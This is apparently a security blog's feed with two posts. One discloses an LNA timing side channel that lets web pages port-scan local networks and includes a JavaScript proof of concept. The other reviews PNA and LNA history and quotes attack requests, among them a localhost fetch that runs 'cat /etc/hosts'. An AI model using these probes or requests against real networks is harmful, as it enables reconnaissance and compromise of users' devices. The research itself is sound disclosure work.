<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://wiki.notveg.ninja/feed.xml" rel="self" type="application/atom+xml" /><link href="https://wiki.notveg.ninja/" rel="alternate" type="text/html" /><updated>2026-02-23T22:04:24+00:00</updated><id>https://wiki.notveg.ninja/feed.xml</id><title type="html">Wiki | notnotnotveg</title><subtitle>Write an awesome description for your new site here. You can edit this line in _config.yml. It will appear in your document head meta (for Google search results) and in your feed.xml site description.</subtitle><author><name>notnotnotveg</name></author><entry><title type="html">Browser-Based Port Scanning in the Age of LNA</title><link href="https://wiki.notveg.ninja/tools/lna-port-scanning/" rel="alternate" type="text/html" title="Browser-Based Port Scanning in the Age of LNA" /><published>2026-02-19T14:00:00+00:00</published><updated>2026-02-19T14:00:00+00:00</updated><id>https://wiki.notveg.ninja/tools/lna-port-scanning</id><content type="html" xml:base="https://wiki.notveg.ninja/tools/lna-port-scanning/"><![CDATA[<style>
.page__content pre,
.page__content code {
  max-width: 100%;
  overflow-x: auto;
  white-space: pre-wrap;
  word-break: break-word;
}
.lna-timing { overflow-x: auto; }
.lna-timing .bar-open-label,
.lna-timing .bar-closed-label {
  white-space: normal;
  font-size: 10px;
}
.lna-browsers { display: block; overflow-x: auto; }
.mermaid { overflow-x: auto; max-width: 100%; }
</style>

<p>Is it possible ? Yes.
How ?</p>

<div style="display:flex; justify-content:center; margin: 1.5em 0;">
  <iframe width="480" height="270" src="https://www.youtube.com/embed/c56t7upa8Bk" title="Hans Zimmer — Time" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="" style="border-radius: 8px; border: 1px solid #222230;">
  </iframe>
</div>

<p>Because in this case… <strong>timing</strong> is everything.</p>

<h2 id="background">Background</h2>

<h3 id="the-pop-up">The Pop-Up</h3>

<p>Have you seen this prompt recently?</p>

<p><a href="https://github.com/user-attachments/assets/4d1181e4-836a-454d-8ffd-f5f9d87864c9" class="image-popup">
  <img src="https://github.com/user-attachments/assets/4d1181e4-836a-454d-8ffd-f5f9d87864c9" />
</a></p>

<p>If you use a modern browser, there’s a good chance you’ve either seen it, or you’re about to.</p>

<p>This dialog was introduced as part of <strong>Local Network Access (LNA)</strong>. The premise is straightforward. Public websites should not be able to silently reach into your local network and talk to private resources, such as your router admin panel, your local dev server, your NAS, a Raspberry Pi on <code class="language-plaintext highlighter-rouge">192.168.x.x</code>. LNA draws a hard boundary between public IP space and private/loopback address space, and requires explicit user permission before a cross-boundary fetch is allowed to proceed.</p>

<h3 id="what-lna-is-meant-to-do">What LNA is meant to do</h3>

<p>Under the hood, this boundary is enforced by a function such as <code class="language-plaintext highlighter-rouge">URLLoaderThrottle</code> (in Chrome and Chromium). When a public origin tries to access a of a less public IP the following sequence plays out:</p>

<style>
.lna-flow {
  list-style: none;
  padding: 0;
  margin: 1.5em 0;
  font-family: 'Share Tech', sans-serif;
}
.lna-flow li {
  display: flex;
  gap: 16px;
  position: relative;
}
.lna-flow li + li {
  margin-top: 0;
}
.lna-flow .flow-spine {
  display: flex;
  flex-direction: column;
  align-items: center;
  flex-shrink: 0;
  width: 20px;
}
.lna-flow .flow-dot {
  width: 14px;
  height: 14px;
  border-radius: 50%;
  border: 2px solid #3a3a50;
  background: #18181f;
  flex-shrink: 0;
  margin-top: 4px;
}
.lna-flow .flow-dot.accent  { background: #e8ff47; border-color: #e8ff47; box-shadow: 0 0 8px rgba(232,255,71,0.5); }
.lna-flow .flow-dot.warning { background: #ff9f43; border-color: #ff9f43; box-shadow: 0 0 8px rgba(255,159,67,0.5); }
.lna-flow .flow-dot.danger  { background: #ff4757; border-color: #ff4757; box-shadow: 0 0 8px rgba(255,71,87,0.5); }
.lna-flow .flow-line {
  width: 2px;
  flex: 1;
  background: #222230;
  min-height: 16px;
}
.lna-flow .flow-body {
  padding-bottom: 24px;
}
.lna-flow li:last-child .flow-body {
  padding-bottom: 0;
}
.lna-flow .flow-title {
  font-size: 16px;
  font-weight: 600;
  color: #ffffff;
  line-height: 1.3;
}
.lna-flow .flow-desc {
  font-size: 13px;
  color: #9a9ab8;
  margin-top: 3px;
  line-height: 1.5;
}
</style>

<ul class="lna-flow">
  <li>
    <div class="flow-spine"><div class="flow-dot"></div><div class="flow-line"></div></div>
    <div class="flow-body">
      <div class="flow-title">Request initiated</div>
      <div class="flow-desc">fetch() or XHR call is made to an internal IP or localhost</div>
    </div>
  </li>
  <li>
    <div class="flow-spine"><div class="flow-dot"></div><div class="flow-line"></div></div>
    <div class="flow-body">
      <div class="flow-title">IP resolves</div>
      <div class="flow-desc">Hostname resolved; address classified as private or loopback</div>
    </div>
  </li>
  <li>
    <div class="flow-spine"><div class="flow-dot accent"></div><div class="flow-line"></div></div>
    <div class="flow-body">
      <div class="flow-title">LocalNetworkAccessCheck triggers</div>
      <div class="flow-desc">A TCP connection is opened to the target IP:Port to determine reachability</div>
    </div>
  </li>
  <li>
    <div class="flow-spine"><div class="flow-dot warning"></div><div class="flow-line"></div></div>
    <div class="flow-body">
      <div class="flow-title">Request deferred — user prompted</div>
      <div class="flow-desc">IPC message sent to browser process; prompt appears if port is open</div>
    </div>
  </li>
  <li>
    <div class="flow-spine"><div class="flow-dot"></div><div class="flow-line"></div></div>
    <div class="flow-body">
      <div class="flow-title">User decides</div>
      <div class="flow-desc">Allow, Block, or ignore the prompt</div>
    </div>
  </li>
  <li>
    <div class="flow-spine"><div class="flow-dot danger"></div></div>
    <div class="flow-body">
      <div class="flow-title">Request resumes or fails</div>
      <div class="flow-desc">Preflight sent on Allow; CORS error on Block; fetch remains Pending if ignored</div>
    </div>
  </li>
</ul>

<p>Importantly  :
The fetch promise remains in a <code class="language-plaintext highlighter-rouge">pending</code> state throughout the entire pause. From the page’s perspective, the request is simply waiting. From a timing perspective, that wait is information.</p>

<h3 id="lna-enabled-browsers">LNA enabled browsers</h3>
<p>As of February 2026, LNA is available on the following browsers :</p>

<style>
.lna-browsers {
  width: 100%;
  border-collapse: collapse;
  font-family: 'Share Tech', sans-serif;
  margin: 1.5em 0;
}
.lna-browsers thead tr {
  background: #18181f;
  border-bottom: 1px solid #e8ff47;
}
.lna-browsers thead th {
  padding: 10px 14px;
  font-size: 12px;
  letter-spacing: 0.12em;
  text-transform: uppercase;
  color: #6b6b88;
  text-align: left;
  font-weight: 400;
}
.lna-browsers tbody tr {
  border-bottom: 1px solid #222230;
  transition: background 0.15s;
}
.lna-browsers tbody tr:last-child {
  border-bottom: none;
}
.lna-browsers tbody tr:hover {
  background: #111115;
}
.lna-browsers td {
  padding: 13px 14px;
  font-size: 15px;
  color: #d4d4e8;
  vertical-align: middle;
}
.lna-browsers .browser-name {
  color: #ffffff;
  font-weight: 600;
  white-space: nowrap;
}
.lna-browsers .version {
  color: #9a9ab8;
  font-size: 13px;
}
.lna-browsers .status-full {
  display: inline-flex;
  align-items: center;
  gap: 6px;
  font-size: 14px;
  color: #39ff7e;
}
.lna-browsers .status-full::before {
  content: '';
  width: 7px; height: 7px;
  border-radius: 50%;
  background: #39ff7e;
  box-shadow: 0 0 6px rgba(57,255,126,0.6);
  flex-shrink: 0;
}
.lna-browsers .status-trial {
  display: inline-flex;
  align-items: center;
  gap: 6px;
  font-size: 14px;
  color: #ff9f43;
}
.lna-browsers .status-trial::before {
  content: '';
  width: 7px; height: 7px;
  border-radius: 50%;
  background: #ff9f43;
  box-shadow: 0 0 6px rgba(255,159,67,0.6);
  flex-shrink: 0;
}
.lna-browsers .status-none {
  display: inline-flex;
  align-items: center;
  gap: 6px;
  font-size: 14px;
  color: #6b6b88;
}
.lna-browsers .status-none::before {
  content: '';
  width: 7px; height: 7px;
  border-radius: 50%;
  background: #6b6b88;
  flex-shrink: 0;
}
</style>

<table class="lna-browsers">
  <thead>
    <tr>
      <th>Browser</th>
      <th>LNA Support</th>
      <th>Version</th>
      <th>Status — Feb 2026</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><span class="browser-name">Chrome / Chromium</span></td>
      <td><span class="status-full">Supported</span></td>
      <td><span class="version">Chrome 142+ &nbsp;·&nbsp; Sept 2025</span></td>
      <td>Full LNA enforcement</td>
    </tr>
    <tr>
      <td><span class="browser-name">Microsoft Edge</span></td>
      <td><span class="status-full">Supported</span></td>
      <td><span class="version">Edge 142+ &nbsp;·&nbsp; 2025</span></td>
      <td>Full LNA enforcement</td>
    </tr>
    <tr>
      <td><span class="browser-name">Firefox</span></td>
      <td><span class="status-trial">In trials</span></td>
      <td><span class="version">Nightly only</span></td>
      <td>In development</td>
    </tr>
    <tr>
      <td><span class="browser-name">Safari</span></td>
      <td><span class="status-none">Not supported</span></td>
      <td><span class="version">N/A</span></td>
      <td>Partial / different model</td>
    </tr>
  </tbody>
</table>

<h2 id="the-finding">The Finding</h2>
<h3 id="port-scanning">Port Scanning</h3>

<p>Here is the crux of the finding as part of this research. To decide <em>whether to show you the prompt at all</em>, the browser first has to check whether the private target’s port is actually reachable. It does this by opening a TCP connection, before any permission is granted or denied.</p>

<p>The implication is quiet but significant. The port state has already been determined before the user has taken any action :</p>
<ul>
  <li>Port <strong>Closed</strong> : the TCP handshake gets an RST almost instantly, and the fetch rejects in milliseconds. No LNA prompt is required.</li>
  <li>Port <strong>Open</strong> : the TCP handshake succeeds, the browser defers the request, the prompt appears, and the fetch sits in a pending state for as long as the user takes to decide, or indefinitely if they ignore it.</li>
</ul>

<style>
  .mermaid svg text,
  .mermaid svg .nodeLabel,
  .mermaid svg .edgeLabel,
  .mermaid svg .cluster-label,
  .mermaid svg span {
    font-family: 'Share Tech', sans-serif !important;
    font-size: 16px !important;
  }
</style>

<script src="https://cdn.jsdelivr.net/npm/mermaid@10/dist/mermaid.min.js"></script>

<script>
mermaid.initialize({
  startOnLoad: true,
  theme: 'dark',
  flowchart: { useMaxWidth: false },
  themeVariables: {
    fontFamily: 'Share Tech, sans-serif',
    fontSize: '16px',
    primaryColor: '#111115',
    primaryBorderColor: '#444458',
    primaryTextColor: '#ffffff',
    lineColor: '#4a4a6a',
    edgeLabelBackground: '#0c0c0e'
  }
});
</script>

<div style="display:flex; justify-content:center; margin:1.5em 0;">
<div class="mermaid" style="min-width:500px;">
%%{init: {'theme': 'dark', 'themeVariables': {'fontFamily': 'Share Tech, sans-serif', 'fontSize': '16px'}}}%%
graph TD;
    id(Page Loaded) --&gt; id1(Internal Resource Access Initiated)
    id1 --&gt; id2(Port Probed)
    id2 --&gt;|Port Open| id3(User Prompted)
    id2 --&gt;|Port Closed| id4(Preflight fails - Immediately)
    id3 --&gt;|Allow| id5(Preflight Sent)
    id3 --&gt;|Deny| id6(Preflight fails CORS Error)
</div>
</div>

<p>This creates a trivially observable timing differential:</p>

<style>
.lna-timing {
  width: 100%;
  background: #0a0a0f;
  border: 1px solid #222230;
  border-radius: 10px;
  padding: 20px 22px 14px;
  font-family: 'JetBrains Mono', monospace;
}
.lna-timing .header {
  font-family: 'Share Tech', sans-serif;
  font-size: 14px;
  letter-spacing: 0.1em;
  text-transform: uppercase;
  color: #6b6b88;
  margin-bottom: 16px;
}
.lna-timing .row {
  display: flex;
  align-items: center;
  gap: 10px;
  margin-bottom: 10px;
}
.lna-timing .row-label {
  width: 80px;
  flex-shrink: 0;
  font-family: 'Share Tech', sans-serif;
  line-height: 1.5;
}
.lna-timing .row-label .state { display: block; font-size: 13px; color: #6b6b88; }
.lna-timing .row-label .value-open  { font-size: 16px; color: #ff9f43; font-weight: 700; }
.lna-timing .row-label .value-closed { font-size: 16px; color: #39ff7e; font-weight: 700; }
.lna-timing .track-wrap { flex: 1; position: relative; }
.lna-timing .track {
  width: 100%; height: 32px;
  background: #18181f;
  border-radius: 4px;
  position: relative;
  overflow: visible;
}
.lna-timing .bar-closed {
  position: absolute; left: 0; top: 0;
  width: 1.5%; height: 100%;
  background: rgba(57,255,126,0.18);
  border: 1px solid rgba(57,255,126,0.45);
  border-radius: 4px;
}
.lna-timing .bar-closed-label {
  position: absolute; left: calc(1.5% + 8px);
  top: 50%; transform: translateY(-50%);
  font-size: 13px; color: #39ff7e; white-space: nowrap;
}
.lna-timing .bar-open {
  position: absolute; left: 0; top: 0;
  width: calc(100% - 2px); height: 100%;
  background: linear-gradient(90deg, rgba(255,159,67,0.30) 0%, rgba(255,159,67,0.18) 50%, rgba(255,159,67,0.08) 100%);
  border: 1px solid rgba(255,159,67,0.45);
  border-radius: 4px;
}
.lna-timing .bar-open-label {
  position: absolute; left: 10px;
  top: 50%; transform: translateY(-50%);
  font-size: 13px; color: #ff9f43; white-space: nowrap;
}
.lna-timing .arrow {
  position: absolute; right: -10px; top: 50%; transform: translateY(-50%);
  width: 0; height: 0;
  border-top: 6px solid transparent;
  border-bottom: 6px solid transparent;
  border-left: 9px solid #ff9f43;
}
.lna-timing .badge {
  flex-shrink: 0; padding: 3px 10px;
  border-radius: 4px; font-size: 13px; font-weight: 700; white-space: nowrap;
}
.lna-timing .badge-open  { background: rgba(255,159,67,0.1); border: 1px solid rgba(255,159,67,0.35); color: #ff9f43; }
.lna-timing .badge-closed { background: rgba(57,255,126,0.1); border: 1px solid rgba(57,255,126,0.35); color: #39ff7e; }
.lna-timing .axis-row { display: flex; align-items: flex-start; gap: 10px; margin-top: 4px; }
.lna-timing .axis-spacer { width: 80px; flex-shrink: 0; }
.lna-timing .axis-badge-spacer { width: 66px; flex-shrink: 0; }
.lna-timing .axis { flex: 1; position: relative; height: 32px; }
.lna-timing .axis::before {
  content: ''; position: absolute;
  top: 0; left: 0; right: 0; height: 1px; background: #3a3a50;
}
.lna-timing .tick {
  position: absolute; top: 0;
  display: flex; flex-direction: column; align-items: center;
  transform: translateX(-50%);
}
.lna-timing .tick-line { width: 1px; height: 5px; background: #3a3a50; }
.lna-timing .tick-label { font-family: 'Share Tech', sans-serif; font-size: 11px; color: #3a3a50; margin-top: 2px; white-space: nowrap; }
.lna-timing .tick-label.threshold-label { color: rgba(255,255,255,0.2); }
.lna-timing .threshold-line {
  position: absolute; left: calc(1.5% + 80px + 10px);
  top: 0; bottom: 0; width: 1px;
  border-left: 1px dashed rgba(255,255,255,0.2);
  pointer-events: none;
}
.lna-timing .note {
  margin-top: 14px; padding-top: 10px;
  border-top: 1px solid #222230;
  font-family: 'Share Tech', sans-serif;
  font-size: 13px; color: #3a3a50; line-height: 1.5;
}
</style>

<div class="lna-timing">
  <div class="header">Request Duration — Observed from Page Context</div>
  <div style="position: relative;">
    <div class="threshold-line"></div>
    <div class="row">
      <div class="row-label">
        <span class="state">Port</span>
        <span class="value-open">OPEN</span>
      </div>
      <div class="track-wrap">
        <div class="track">
          <div class="bar-open"></div>
          <div class="bar-open-label">pending... (LNA prompt shown, awaiting user)</div>
          <div class="arrow"></div>
        </div>
      </div>
      <div class="badge badge-open">&gt;&gt; ms</div>
    </div>
    <div class="row">
      <div class="row-label">
        <span class="state">Port</span>
        <span class="value-closed">CLOSED</span>
      </div>
      <div class="track-wrap">
        <div class="track">
          <div class="bar-closed"></div>
          <div class="bar-closed-label">RST — rejected instantly</div>
        </div>
      </div>
      <div class="badge badge-closed">&lt; 5ms</div>
    </div>
  </div>
  <div class="axis-row">
    <div class="axis-spacer"></div>
    <div class="axis">
      <div class="tick" style="left:0%"><div class="tick-line"></div><div class="tick-label">0</div></div>
      <div class="tick" style="left:1.5%"><div class="tick-line"></div><div class="tick-label threshold-label">~5ms</div></div>
      <div class="tick" style="left:25%"><div class="tick-line"></div><div class="tick-label">250ms</div></div>
      <div class="tick" style="left:50%"><div class="tick-line"></div><div class="tick-label">500ms</div></div>
      <div class="tick" style="left:75%"><div class="tick-line"></div><div class="tick-label">750ms</div></div>
      <div class="tick" style="left:100%"><div class="tick-line"></div><div class="tick-label">≥1s+</div></div>
    </div>
    <div class="axis-badge-spacer"></div>
  </div>
  <div class="note">
    Any response beyond a few milliseconds indicates an open port — the 2s abort timeout used in the PoC is a practical scan cutoff, not the detection threshold.
  </div>
</div>

<p>The malicious page does not need the user to click Allow or Block. The timing delta between an immediate rejection and a prolonged pending state is sufficient to fingerprint port state.</p>

<h3 id="state-of-lna-prompt-vs-port-state">State of LNA Prompt vs. Port State</h3>

<div style="display:flex; justify-content:center; margin:1.5em 0;">
  <table>
    <thead>
      <tr>
        <th>Prompt State</th>
        <th>Port State</th>
      </tr>
    </thead>
    <tbody>
      <tr><td>"Allow"</td><td>Port can be probed</td></tr>
      <tr><td>"Block"</td><td>Port cannot be probed</td></tr>
      <tr><td>Pending prompt</td><td>Port can be probed</td></tr>
    </tbody>
  </table>
</div>

<p>Based on this  its safe to say that LNA may be <strong>intended</strong> to protect knowledge of such port states when the user “Blocks” LNA.</p>

<h2 id="proof-of-concept">Proof of Concept</h2>

<h3 id="basic-test">Basic Test</h3>

<p>Start a local HTTP server on any port :</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 <span class="nt">-m</span> http.server 30000
</code></pre></div></div>

<p>Open a browser’s developer console from any public-origin page. Paste the following. Importantlly, when the LNA prompt appears, <strong>do not click Allow or Block</strong>. Simply observe the console output.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Target port to probe</span>
<span class="kd">const</span> <span class="nx">port</span> <span class="o">=</span> <span class="mi">30000</span><span class="p">;</span>

<span class="c1">// Allows us to cancel the request after a timeout</span>
<span class="kd">const</span> <span class="nx">c</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">AbortController</span><span class="p">();</span>

<span class="c1">// Record the start time</span>
<span class="kd">const</span> <span class="nx">t</span> <span class="o">=</span> <span class="nb">Date</span><span class="p">.</span><span class="nx">now</span><span class="p">();</span>

<span class="c1">// Abort the request after 2 seconds</span>
<span class="nx">setTimeout</span><span class="p">(()</span> <span class="o">=&gt;</span> <span class="nx">c</span><span class="p">.</span><span class="nx">abort</span><span class="p">(),</span> <span class="mi">2000</span><span class="p">);</span>

<span class="c1">// If the request times out (AbortError), the port is open — closed ports fail instantly</span>
<span class="nx">fetch</span><span class="p">(</span><span class="s2">`http://localhost:</span><span class="p">${</span><span class="nx">port</span><span class="p">}</span><span class="s2">`</span><span class="p">,</span> <span class="p">{</span> <span class="na">mode</span><span class="p">:</span> <span class="dl">"</span><span class="s2">no-cors</span><span class="dl">"</span><span class="p">,</span> <span class="na">signal</span><span class="p">:</span> <span class="nx">c</span><span class="p">.</span><span class="nx">signal</span> <span class="p">})</span>
  <span class="p">.</span><span class="k">catch</span><span class="p">(</span><span class="nx">e</span> <span class="o">=&gt;</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">name</span> <span class="o">===</span> <span class="dl">"</span><span class="s2">AbortError</span><span class="dl">"</span> <span class="p">?</span> <span class="s2">`open (</span><span class="p">${</span><span class="nb">Date</span><span class="p">.</span><span class="nx">now</span><span class="p">()</span> <span class="o">-</span> <span class="nx">t</span><span class="p">}</span><span class="s2">ms)`</span> <span class="p">:</span> <span class="dl">"</span><span class="s2">closed</span><span class="dl">"</span><span class="p">));</span>
</code></pre></div></div>

<h3 id="scaling-to-the-full-port-range">Scaling to the Full Port Range</h3>
<p>An optimized version can sweep the full 65,535 TCP port range using batched, concurrent fetches with tuned abort timing can be found here :</p>

<p><strong><a href="https://raw.githubusercontent.com/notnotnotveg/notnotnotveg.github.io/refs/heads/master/raw-html-tests/scanner-all.html">Source</a></strong></p>

<p><strong><a href="https://wiki.notveg.ninja/raw-html-tests/scanner-all.html">Live demo</a></strong></p>

<p>An example run:</p>

<p><a href="https://github.com/user-attachments/assets/6222080b-187e-465e-98e5-098d777ea20f" class="image-popup">
  <img src="https://github.com/user-attachments/assets/6222080b-187e-465e-98e5-098d777ea20f" />
</a></p>

<h2 id="implications">Implications</h2>

<p>Port scanning via browsers is not new. What LNA changes is the <em>quality</em> of the signal. The LNA probe is a deliberate TCP handshake with a binary outcome, producing a clean, reliable timing split.</p>

<h3 id="browser--user-fingerprinting">Browser &amp; User Fingerprinting</h3>
<p>Different OS and software configurations expose different port signatures. Combined with existing fingerprinting signals, a port map assembled in seconds meaningfully contributes to cross-session tracking.</p>

<h3 id="internal-network-reconnaissance">Internal Network Reconnaissance</h3>
<p>The graver scenario is enterprise. An employee whose browser bridges the public internet and an internal network is an ideal unwitting proxy. A malicious page can use LNA timing to probe RFC 1918 ranges to map live hosts and open services, with no installation, no privileges, and no interaction beyond a page load.</p>

<h3 id="the-prompt-is-not-the-defence">The Prompt Is Not the Defence</h3>
<p>It is worth stating directly: LNA’s prompt was never intended to prevent port discovery. It was intended to prevent unauthorized data exchange with local resources. The port-state leakage described here is a side-effect of the mechanism used to decide whether to show the prompt, and not a flaw in the prompt itself.</p>

<h2 id="summary">Summary</h2>

<p>LNA’s TCP probe, the mechanism that decides <em>whether to show the prompt</em>, runs before the user sees anything. That probe leaks port state. Open ports stall, closed ports reject instantly. The delta is measurable from JavaScript with no special permissions.</p>

<p>Allow, Block, or ignore : it doesn’t matter. By the time the prompt appears, the scan is already done.</p>]]></content><author><name>notnotnotveg</name></author><category term="Tools" /><category term="Web Sec" /><category term="Research" /><category term="LNA" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">PNA: A Short Life, A Long Shadow</title><link href="https://wiki.notveg.ninja/blog/pna-2/" rel="alternate" type="text/html" title="PNA: A Short Life, A Long Shadow" /><published>2026-02-14T14:00:00+00:00</published><updated>2026-02-14T14:00:00+00:00</updated><id>https://wiki.notveg.ninja/blog/pna-2</id><content type="html" xml:base="https://wiki.notveg.ninja/blog/pna-2/"><![CDATA[<p><em>The rise and fall of PNA, and what LNA means for browser security’s future.</em></p>

<h2 id="introduction">Introduction</h2>

<p>Have you seen these HTTP headers before?</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">Access-Control-Request-Method: GET 
Access-Control-Request-Private-Network: true
</span></code></pre></div></div>

<p>Or perhaps this pesky alert?
<img width="1171" height="708" alt="Pasted image 20260215160323" src="https://github.com/user-attachments/assets/4d1181e4-836a-454d-8ffd-f5f9d87864c9" /></p>

<p>If you’re a Chrome user who upgraded to Chrome 142 in the last three months, you may have encountered this alert. These two elements represent two different approaches to solving the same critical security problem—but in very different ways.</p>

<p><img width="1220" height="742" alt="sm-updated" src="https://github.com/user-attachments/assets/344e9778-4faf-4859-bb68-5fecfecfb53f" /></p>

<h2 id="the-problem-browsers-as-a-trust-boundary">The Problem: Browsers as a Trust Boundary</h2>

<p><img width="1539" height="606" alt="Pasted image 20260215160456" src="https://github.com/user-attachments/assets/db5ebab7-a65a-415f-9f91-b54fa8aa5ca0" /></p>

<p>For years, we’ve treated browsers primarily as rendering engines. But browsers are also <strong>enforcement points</strong> between:</p>
<ul>
  <li>Public internet origins</li>
  <li>Local/private network resources</li>
  <li>Loopback interfaces</li>
  <li>User devices</li>
</ul>

<p>The browser is a trust boundary — and historically, it didn’t act like one.</p>

<p>This trust boundary has been exploited for a very long time through various attack vectors, such as:</p>

<h3 id="port-scanning">Port Scanning</h3>
<p>Before Private Network Access (PNA), a malicious “public” website could:</p>

<ul>
  <li>Probe RFC-1918 Networks</li>
  <li>Detect open ports</li>
  <li>Fingerprint routers, NAS devices, local services</li>
</ul>

<p>Why? Because it’s an excellent way to fingerprint users in a stateless manner.</p>

<p><img width="1567" height="632" alt="Pasted image 20260215160626" src="https://github.com/user-attachments/assets/b7008297-5399-434f-a163-48e068abb44e" /></p>

<h3 id="soho-pharming">SOHO Pharming</h3>

<p>An age-old technique where a public website would interact with private resources in a nefarious manner.</p>

<p>For example, a malicious site could hijack your router’s DNS settings:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">fetch</span><span class="p">(</span><span class="dl">"</span><span class="s2">https://router.local/setDNS?server=1.2.3.4</span><span class="dl">"</span><span class="p">)</span>
</code></pre></div></div>

<p>A more recent example of this is CVE-2025-49596, which affected MCP Inspector :</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">fetch</span><span class="p">(</span><span class="dl">"</span><span class="s2">http://localhost:6277/sse?command=cat&amp;args=%2Fetc%2Fhosts</span><span class="dl">"</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="private-network-access-pna-the-first-solution">Private Network Access (PNA): The First Solution</h2>

<p>Browsers decided to address this problem through a mechanism called <strong>Private Network Access (PNA)</strong>, initially known as CORS-RFC1918.</p>

<p>The goal:</p>

<blockquote>
  <p>Prevent public websites from silently accessing private network resources.</p>
</blockquote>

<p>Core idea:</p>

<ul>
  <li>Classify address spaces (public, private, local)</li>
  <li>Require explicit permission when crossing boundaries</li>
</ul>

<h3 id="understanding-pre-flight-requests">Understanding Pre-flight Requests</h3>

<p>To understand PNA, we first need to understand pre-flight requests. Consider this analogy:</p>
<blockquote>
  <p>You live in an apartment building, and a stranger walks up to the bellman asking to visit Mr. XYZ on floor N. The bellman is going to call you and ask for your permission: “Can I send this stranger up? Are you expecting them?” Depending on your response, the bellman will either allow or deny that stranger access.</p>
</blockquote>

<p><img src="https://github.com/user-attachments/assets/5da78492-52fa-4d88-aebd-577a74b9654f" alt="cs" /></p>

<p>Sound familiar? This is similar to how CORS works.</p>
<h3 id="how-pna-works">How PNA Works</h3>

<p>PNA introduced new CORS behavior:
<code class="language-plaintext highlighter-rouge">Access-Control-Request-Private-Network: true</code></p>

<p>When a public site attempts to access a private IP:</p>
<ol>
  <li>Browser issues a preflight.</li>
  <li>Target must explicitly allow it.</li>
  <li>Otherwise, request fails.</li>
</ol>

<p>A deeper dive into PNA can be found here: https://wiki.notveg.ninja/blog/pna/.</p>

<h3 id="state-of-pna">State of PNA</h3>

<p>As of September 2025, PNA had been rolled out for over four years, and yet…</p>

<h2 id="the-great-shift-pna-to-lna">The Great Shift: PNA to LNA</h2>

<p>In September 2025, Chrome made a dramatic decision: <strong>deprecate PNA entirely</strong> and replace it with <strong>Local Network Access (LNA)</strong>. This wasn’t just a rename. It represented a <strong>fundamental philosophical shift</strong> in how browsers protect private networks.</p>

<p><strong>PNA Model (Service-Side Protection):</strong></p>

<ul>
  <li>The private resource protects itself</li>
  <li>Must explicitly allow access via HTTP headers</li>
  <li>Security burden on server administrators</li>
  <li>Similar to CORS—declarative permission model</li>
</ul>

<p><strong>LNA Model (User-Side Protection):</strong></p>

<ul>
  <li>The user decides for each connection</li>
  <li>Browser prompts for permission</li>
  <li>Security burden shifted to end users</li>
  <li>No server-side configuration required</li>
</ul>

<p><img width="1530" height="746" alt="Pasted image 20260215160831" src="https://github.com/user-attachments/assets/c5cfa6c6-3d90-4dd7-a38c-213b1729c97b" /></p>

<h2 id="local-network-access-lna">Local Network Access (LNA)</h2>

<p>When LNA supported browsers detect an attempt to access a private network, they now display a simple prompt:</p>

<p><img width="1171" height="708" alt="Pasted image 20260215160323" src="https://github.com/user-attachments/assets/8ff0c0c2-7432-46a3-b618-a934e3896dbf" /></p>

<p>Unfortunately, the prompt provides no additional context about which internal resource triggered the request. To address this limitation, I developed a Chrome extension called <a href="https://chromewebstore.google.com/detail/lnalyzer/bjfinbaobaoaodlljljjfekdagldodon">LNAlyzer</a>.
. Details on how this extension works are available in my blog post: {LNAlyzer-UNDER-CONSTRUCTION}</p>

<p>Under the hood, these browsers use a function such as <code class="language-plaintext highlighter-rouge">URLLoaderThrottle</code> (in Chrome and Chromium). When a public origin tries to access a private IP:</p>
<ol>
  <li>Request starts.</li>
  <li>IP resolves.</li>
  <li>LocalNetworkAccessCheck triggers.</li>
  <li>Request is deferred.</li>
  <li>IPC message sent to browser process.</li>
  <li>User sees permission prompt.</li>
  <li>User clicks Allow or Block.</li>
  <li>Request resumes or fails.</li>
</ol>

<h2 id="what-weve-learned">What We’ve Learned</h2>

<h3 id="why-pna-struggled">Why PNA Struggled</h3>
<ol>
  <li>It Broke Existing Workflows
    <ul>
      <li>Browsers historically allowed public websites to interact with services on localhost, routers, IOT dashboards and internal enterprise tools.</li>
      <li>Developers and vendors built systems assuming this behavior.</li>
      <li>PNA suddenly enforced a strict boundary in an ecosystem that had normalized crossing it.</li>
      <li>Compatibility suffered.</li>
    </ul>
  </li>
  <li>Private Devices Can’t Easily Adapt
    <ul>
      <li>PNA requires servers on private networks to send explicit opt-in headers for access.</li>
      <li>Many such devices have embedded firmware and are rarely updated.</li>
    </ul>
  </li>
  <li>Browser Fragmentation
    <ul>
      <li>For most of its existence, PNA was Chrome-only.</li>
      <li>Web developers couldn’t rely on it for cross-browser compatibility.</li>
      <li>No incentive to implement it if only Chrome users benefited.</li>
    </ul>
  </li>
  <li>Developer Adoption Barriers
    <ul>
      <li>Developers weren’t aware of PNA requirements.</li>
      <li>Didn’t understand how to implement them correctly.</li>
      <li>Chose to ignore them (no enforcement in other browsers)</li>
    </ul>
  </li>
  <li>Lack of Centralized Configuration
    <ul>
      <li>Enterprises often operate tools that span both public and internal network boundaries.</li>
      <li>Early PNA enforcement provided no practical way for organizations to centrally configure browser behavior across managed fleets.</li>
      <li>Security controls lived at the browser level, but enterprise policy needed to live at the admin level.</li>
      <li>LNA partially addressed this — at least in Chrome — by allowing administrators to define behavior via enterprise policy</li>
    </ul>
  </li>
</ol>

<h3 id="challenges-for-lna">Challenges for LNA</h3>
<ol>
  <li>Prompt Fatigue
    <ul>
      <li>Browsers already ask users to approve: Camera, Microphone, Location and Notifications.</li>
      <li>Adding <em>“Allow this site to access your local network?”</em> becomes just another dialog.</li>
      <li>Non-technical users may find these prompts confusing and approve access without understanding the security implications.</li>
    </ul>
  </li>
  <li>Architectural Friction
    <ul>
